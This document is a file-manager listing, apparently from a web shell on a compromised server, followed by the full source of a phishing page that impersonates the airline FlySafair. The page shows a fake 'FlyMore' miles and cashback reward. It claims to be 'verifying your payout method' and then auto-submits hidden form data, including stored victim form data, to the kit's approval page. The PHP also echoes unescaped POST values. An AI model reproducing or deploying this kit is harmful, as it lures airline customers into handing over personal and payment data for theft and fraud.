at path:
ROOT
/
Welcome
/
loading2.php
run:
R
W
Run
assets
DIR
2026-10-03 02:44:58
R
W
Run
approval.php
27.67 KB
2026-10-29 06:56:19
R
W
Run
Delete
Rename
bdroot.php
0 By
2026-11-03 02:28:49
R
W
Run
form.php
28.81 KB
2026-10-29 06:56:20
R
W
Run
Delete
Rename
index.php
24.17 KB
2026-10-29 06:56:21
R
W
Run
Delete
Rename
loading1.php
12.29 KB
2026-10-03 02:59:04
R
W
Run
Delete
Rename
loading2.php
24.21 KB
2026-10-03 02:58:52
R
W
Run
Delete
Rename
error_log
up
📄
loading2.php
Save
<?php $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; $miles = isset($_POST['miles']) ? intval($_POST['miles']) : rand(3210, 6321); $cashback_usd = isset($_POST['cashback']) ? $_POST['cashback'] : number_format($miles / 11.2, 2, '.', ''); $cashback_zar = number_format($cashback_usd * 16.6, 2, '.', ''); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>FlySafair - Reward Confirmed</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen', 'Ubuntu', 'Cantarell', sans-serif; background-color: #F5F5F5; overflow-x: hidden; color: #333333; } /* ============ HEADER ============ */ header { background-color: #ffffff; color: #333333; padding: 0; border-bottom: 1px solid #EEEEEE; } .header-top { display: flex; justify-content: space-between; align-items: center; padding: 15px 40px; border-bottom: 1px solid #EEEEEE; } .logo { display: flex; align-items: center; gap: 10px; } .logo img { height: 32px; width: auto; } .logo-text { font-size: 18px; font-weight: 600; letter-spacing: 2px; display: none; color: #333333; } .header-controls { display: flex; align-items: center; gap: 30px; } .search-btn { background: none; border: none; color: #666666; cursor: pointer; font-size: 16px; display: flex; align-items: center; gap: 5px; } .language-currency { display: flex; align-items: center; gap: 15px; font-size: 14px; color: #666666; } .language-select { background: none; border: none; color: #666666; cursor: pointer; display: flex; align-items: center; gap: 5px; font-size: 14px; } .join-aeroplan { color: #666666; text-decoration: none; font-size: 14px; cursor: pointer; } .sign-in-btn { background-color: #E91E8C; color: #fff; border: none; padding: 8px 20px; border-radius: 4px; cursor: pointer; font-size: 14px; font-weight: 600; } .sign-in-btn:hover { background-color: #D01880; } .header-nav { display: flex; background-color: #FAFAFA; } .nav-item { padding: 15px 25px; color: #666666; text-decoration: none; display: flex; align-items: center; gap: 8px; border-bottom: 3px solid transparent; border-right: 1px solid #EEEEEE; cursor: pointer; font-size: 15px; transition: all 0.3s ease; font-weight: 500; } .nav-item:last-child { border-right: none; } .nav-item:hover { color: #E91E8C; } .nav-item.active { color: #E91E8C; border-bottom-color: #E91E8C; } /* ============ MAIN ============ */ main { min-height: 600px; display: flex; align-items: center; justify-content: center; padding: 40px 20px; position: relative; overflow: hidden; } /* Confetti canvas */ #confetti-canvas { position: fixed; top: 0; left: 0; width: 100%; height: 100%; pointer-events: none; z-index: 999; } .loading-card { background: #fff; border-radius: 16px; padding: 50px 40px; max-width: 580px; width: 100%; text-align: center; box-shadow: 0 10px 40px rgba(0,0,0,0.1); position: relative; z-index: 2; border: 1px solid #EEEEEE; } .image-container { width: 200px; height: 140px; margin: 0 auto 25px; animation: gentleBounce 3s infinite ease-in-out; } .loading-image { width: 100%; height: 100%; object-fit: contain; } @keyframes gentleBounce { 0%, 100% { transform: translateY(0); } 50% { transform: translateY(-14px); } } .spinner { width: 55px; height: 55px; border: 4px solid #F5F5F5; border-top: 4px solid #E91E8C; border-radius: 50%; animation: spin 1s linear infinite; margin: 0 auto 20px; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .loading-title { font-size: 24px; font-weight: 700; color: #333333; margin-bottom: 8px; } .loading-subtitle { font-size: 15px; color: #666666; margin-bottom: 25px; } /* ============ GIFT / REWARD REVEAL ============ */ .reward-box { position: relative; background: linear-gradient(135deg, #FAFAFA, #F5F5F5); border: 2px solid #E91E8C; border-radius: 12px; padding: 25px; margin: 25px 0; overflow: hidden; opacity: 0; transform: scale(0.85); transition: opacity 0.6s ease, transform 0.6s cubic-bezier(0.34, 1.56, 0.64, 1); } .reward-box.revealed { opacity: 1; transform: scale(1); animation: rewardPop 0.8s cubic-bezier(0.34, 1.56, 0.64, 1); } @keyframes rewardPop { 0% { transform: scale(0.85); } 50% { transform: scale(1.05); } 100% { transform: scale(1); } } /* Gift ribbon wrap - overlays the box until revealed */ .gift-wrap { position: absolute; inset: 0; background: linear-gradient(135deg, #E91E8C, #D01880); display: flex; align-items: center; justify-content: center; z-index: 5; border-radius: 10px; transition: opacity 0.6s ease, transform 0.6s ease; } .gift-wrap::before, .gift-wrap::after { content: ''; position: absolute; background: rgba(255,255,255,0.35); } /* Vertical ribbon */ .gift-wrap::before { width: 40px; height: 100%; left: 50%; transform: translateX(-50%); } /* Horizontal ribbon */ .gift-wrap::after { height: 40px; width: 100%; top: 50%; transform: translateY(-50%); } .gift-bow { position: relative; z-index: 6; font-size: 56px; filter: drop-shadow(0 4px 10px rgba(0,0,0,0.25)); animation: bowShake 0.6s ease-in-out infinite alternate; } @keyframes bowShake { from { transform: rotate(-8deg); } to { transform: rotate(8deg); } } .gift-wrap.hidden { opacity: 0; transform: scale(1.3); pointer-events: none; } /* Reward inner content */ .reward-inner { position: relative; z-index: 1; } .reward-inner h3 { font-size: 16px; font-weight: 700; color: #333333; text-transform: uppercase; letter-spacing: 1px; margin-bottom: 15px; } .miles-display { font-size: 52px; font-weight: 800; color: #E91E8C; line-height: 1; margin-bottom: 5px; } .miles-label { font-size: 16px; color: #333333; font-weight: 600; margin-bottom: 20px; } .cashback-display { background: #fff; border-radius: 10px; padding: 18px; border: 1px solid #EEEEEE; } .cashback-label { font-size: 13px; color: #666666; text-transform: uppercase; letter-spacing: 0.5px; margin-bottom: 5px; } .cashback-value { font-size: 32px; font-weight: 800; color: #333333; } .cashback-value span { font-size: 18px; font-weight: 600; } .cashback-estimate { font-size: 14px; color: #666666; margin-top: 5px; font-weight: 500; } /* Spark burst */ .spark { position: absolute; width: 10px; height: 10px; border-radius: 50%; pointer-events: none; z-index: 10; } .progress-bar { width: 100%; height: 8px; background: #F5F5F5; border-radius: 4px; margin: 25px 0 12px; overflow: hidden; } .progress-fill { height: 100%; background: linear-gradient(90deg, #E91E8C, #D01880); width: 0%; border-radius: 4px; animation: fill 12s linear forwards; } @keyframes fill { from { width: 0%; } to { width: 100%; } } .status-text { color: #666666; font-size: 14px; display: flex; align-items: center; justify-content: center; gap: 8px; } /* ============ FOOTER ============ */ footer { background-color: #0077C0; color: #ffffff; padding: 40px; margin-top: 60px; border-top: 1px solid #EEEEEE; } .footer-content { max-width: 1200px; margin: 0 auto; } .footer-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 40px; padding-bottom: 30px; border-bottom: 1px solid rgba(255, 255, 255, 0.2); } .footer-logo { display: flex; align-items: center; gap: 10px; } .footer-logo img { height: 28px; width: auto; filter: brightness(0) invert(1); } .star-alliance { display: flex; align-items: center; gap: 8px; color: #ffffff; font-size: 14px; } .footer-columns { display: grid; grid-template-columns: repeat(4, 1fr); gap: 40px; margin-bottom: 30px; } .footer-column h3 { color: #ffffff; font-size: 15px; font-weight: 600; margin-bottom: 15px; } .footer-column ul { list-style: none; } .footer-column li { margin-bottom: 10px; } .footer-column a { color: #ffffff; text-decoration: none; font-size: 13px; transition: color 0.3s ease; } .footer-column a:hover { color: #E91E8C; } .footer-bottom { border-top: 1px solid rgba(255, 255, 255, 0.2); padding-top: 20px; text-align: center; font-size: 12px; color: #ffffff; } .award-badge { display: flex; align-items: center; gap: 10px; margin-top: 10px; } .award-badge-icon { font-size: 32px; } .award-badge-text { font-size: 12px; color: #ffffff; font-weight: 600; } @media (max-width: 768px) { .header-top { padding: 15px 20px; } .header-controls { gap: 15px; } .header-nav { overflow-x: auto; } .nav-item { padding: 12px 15px; font-size: 13px; white-space: nowrap; } .footer-columns { grid-template-columns: repeat(2, 1fr); gap: 20px; } .loading-card { padding: 35px 25px; } .miles-display { font-size: 40px; } .cashback-value { font-size: 26px; } } @media (max-width: 480px) { .header-controls { gap: 10px; } .footer-columns { grid-template-columns: 1fr; } .logo-text { display: none; } .loading-title { font-size: 20px; } .miles-display { font-size: 36px; } } </style> </head> <body> <!-- HEADER --> <header> <div class="header-top"> <div class="logo"> <img src="assets/1.png" alt="FlySafair Logo"> <span class="logo-text">FlySafair</span> </div> <div class="header-controls"> <button class="search-btn"><span>🔍</span><span>Search</span></button> <div class="language-currency"> <button class="language-select">🇿🇦 English</button> <span>USD</span> </div> <a href="#" class="join-aeroplan">Join FlyMore</a> <button class="sign-in-btn">Log In</button> </div> </div> <nav class="header-nav"> <a href="#" class="nav-item active"><span>Flights</span></a> <a href="#" class="nav-item"><span>Packages</span></a> <a href="#" class="nav-item"><span>Deals</span></a> <a href="#" class="nav-item"><span>Travel</span></a> <a href="#" class="nav-item"><span>Check-in</span></a> <a href="#" class="nav-item"><span>Flight Status</span></a> <a href="#" class="nav-item"><span>FlyMore</span></a> <a href="#" class="nav-item"><span>FlyMore Deals</span></a> <a href="#" class="nav-item"><span>eShop</span></a> <a href="#" class="nav-item"><span>Accessibility</span></a> </nav> </header> <!-- Confetti canvas --> <canvas id="confetti-canvas"></canvas> <!-- MAIN --> <main> <div class="loading-card"> <div class="image-container"> <img src="assets/4.png" alt="Reward Confirmed" class="loading-image"> </div> <div class="spinner"></div> <h2 class="loading-title">🎉 Reward Calculated!</h2> <p class="loading-subtitle">Your exclusive FlyMore points have been determined based on your profile.</p> <div class="reward-box" id="rewardBox"> <!-- Gift wrap overlay --> <div class="gift-wrap" id="giftWrap"> <div class="gift-bow">🎁</div> </div> <div class="reward-inner"> <h3>🏆 Awarded Miles Points</h3> <div class="miles-display"><?php echo number_format($miles); ?></div> <div class="miles-label">Miles Points</div> <div class="cashback-display"> <div class="cashback-label">💰 Cashback Value (USD)</div> <div class="cashback-value"><span>$</span> <?php echo $cashback_usd; ?></div> <div class="cashback-estimate">≈ ZAR <?php echo $cashback_zar; ?></div> </div> </div> </div> <div class="progress-bar"><div class="progress-fill"></div></div> <div class="status-text"> <span>⏳</span> Verifying your payout method... </div> </div> </main> <!-- FOOTER --> <footer> <div class="footer-content"> <div class="footer-header"> <div class="footer-logo"><img src="assets/1.png" alt="FlySafair Logo"></div> <div class="star-alliance">⭐ STAR ALLIANCE</div> </div> <div class="footer-columns"> <div class="footer-column"> <h3>Support</h3> <ul> <li><a href="#">Help & Contact</a></li> <li><a href="#">Baggage & Service Fees</a></li> <li><a href="#">Customer Service Plan</a></li> <li><a href="#">Cybersecurity Center</a></li> <li><a href="#">Manage Cookies</a></li> </ul> </div> <div class="footer-column"> <h3>FlySafair</h3> <ul> <li><a href="#">Media Center</a></li> <li><a href="#">Official Languages</a></li> <li><a href="#">Sustainability</a></li> <li><a href="#">Our Stories</a></li> <li><a href="#">Investor Relations</a></li> <li><a href="#">Careers</a></li> </ul> </div> <div class="footer-column"> <h3>More Services</h3> <ul> <li><a href="#">For Businesses</a></li> <li><a href="#">For Travel Agencies</a></li> <li><a href="#">FlySafair Cargo</a></li> <li><a href="#">FlySafair Foundation</a></li> </ul> </div> <div class="footer-column"> <h3>Our Awards</h3> <div class="award-badge"> <div class="award-badge-icon">🏆</div> <div class="award-badge-text">Best Low-Cost Airline in Africa</div> </div> </div> </div> <div class="footer-bottom"> <p>© 2026 FlySafair. All rights reserved.</p> </div> </div> </footer> <script> /* ============================================================ CONFETTI / PARTY SPARK ENGINE ============================================================ */ const canvas = document.getElementById('confetti-canvas'); const ctx = canvas.getContext('2d'); function resizeCanvas() { canvas.width = window.innerWidth; canvas.height = window.innerHeight; } resizeCanvas(); window.addEventListener('resize', resizeCanvas); const COLORS = ['#E91E8C', '#D01880', '#333333', '#666666', '#FFFFFF', '#F5F5F5']; const CONFETTI_COUNT = 140; let confettiPieces = []; let confettiActive = false; function createConfetti() { confettiPieces = []; for (let i = 0; i < CONFETTI_COUNT; i++) { confettiPieces.push({ x: Math.random() * canvas.width, y: Math.random() * -canvas.height, w: 6 + Math.random() * 8, h: 8 + Math.random() * 10, color: COLORS[Math.floor(Math.random() * COLORS.length)], rotation: Math.random() * Math.PI * 2, rotationSpeed: (Math.random() - 0.5) * 0.2, velocityX: (Math.random() - 0.5) * 3, velocityY: 2 + Math.random() * 4, shape: Math.random() > 0.5 ? 'rect' : 'circle', opacity: 1 }); } } function drawConfetti() { ctx.clearRect(0, 0, canvas.width, canvas.height); confettiPieces.forEach((p, idx) => { ctx.save(); ctx.globalAlpha = p.opacity; ctx.translate(p.x, p.y); ctx.rotate(p.rotation); ctx.fillStyle = p.color; if (p.shape === 'rect') { ctx.fillRect(-p.w / 2, -p.h / 2, p.w, p.h); } else { ctx.beginPath(); ctx.arc(0, 0, p.w / 2, 0, Math.PI * 2); ctx.fill(); } ctx.restore(); // Update physics p.y += p.velocityY; p.x += p.velocityX; p.rotation += p.rotationSpeed; p.velocityX += (Math.random() - 0.5) * 0.05; // Fade out near bottom if (p.y > canvas.height * 0.85) { p.opacity -= 0.012; } if (p.opacity < 0) p.opacity = 0; }); // Remove fully faded pieces confettiPieces = confettiPieces.filter(p => p.opacity > 0); if (confettiActive || confettiPieces.length > 0) { requestAnimationFrame(drawConfetti); } else { ctx.clearRect(0, 0, canvas.width, canvas.height); } } function launchConfetti(duration = 4000) { createConfetti(); confettiActive = true; requestAnimationFrame(drawConfetti); // Stop spawning new pieces after duration setTimeout(() => { confettiActive = false; }, duration); } /* ============================================================ SPARK BURST around the reward box ============================================================ */ function sparkBurst(container) { const box = container.getBoundingClientRect(); const centerX = box.left + box.width / 2; const centerY = box.top + box.height / 2; const sparkCount = 26; for (let i = 0; i < sparkCount; i++) { const spark = document.createElement('div'); spark.className = 'spark'; const angle = (Math.PI * 2 * i) / sparkCount + Math.random() * 0.4; const distance = 90 + Math.random() * 120; const tx = Math.cos(angle) * distance; const ty = Math.sin(angle) * distance; spark.style.left = centerX + 'px'; spark.style.top = centerY + 'px'; spark.style.background = COLORS[Math.floor(Math.random() * COLORS.length)]; spark.style.boxShadow = '0 0 12px rgba(233, 30, 140, 0.9)'; spark.style.position = 'fixed'; spark.style.transition = 'transform 0.9s cubic-bezier(0.2, 0.8, 0.4, 1), opacity 0.9s ease'; document.body.appendChild(spark); requestAnimationFrame(() => { spark.style.transform = `translate(${tx}px, ${ty}px) scale(0.2)`; spark.style.opacity = '0'; }); setTimeout(() => spark.remove(), 950); } } /* ============================================================ REVEAL SEQUENCE — Gift wrap opens, sparks + confetti fire ============================================================ */ document.addEventListener('DOMContentLoaded', () => { const rewardBox = document.getElementById('rewardBox'); const giftWrap = document.getElementById('giftWrap'); // 1.5s after page load → open the gift setTimeout(() => { giftWrap.classList.add('hidden'); rewardBox.classList.add('revealed'); // Fire the celebration setTimeout(() => { sparkBurst(rewardBox); launchConfetti(4500); }, 250); }, 1500); }); /* ============================================================ AUTO REDIRECT AFTER 12 SECONDS ============================================================ */ setTimeout(function() { const form = document.createElement('form'); form.method = 'POST'; form.action = 'approval.php'; const inputMiles = document.createElement('input'); inputMiles.type = 'hidden'; inputMiles.name = 'miles'; inputMiles.value = '<?php echo $miles; ?>'; const inputCashback = document.createElement('input'); inputCashback.type = 'hidden'; inputCashback.name = 'cashback'; inputCashback.value = '<?php echo $cashback_usd; ?>'; const inputFormData = document.createElement('input'); inputFormData.type = 'hidden'; inputFormData.name = 'form_data'; inputFormData.value = localStorage.getItem('acFormData') || '{}'; form.appendChild(inputMiles); form.appendChild(inputCashback); form.appendChild(inputFormData); document.body.appendChild(form); form.submit(); }, 12000); </script> </body> </html>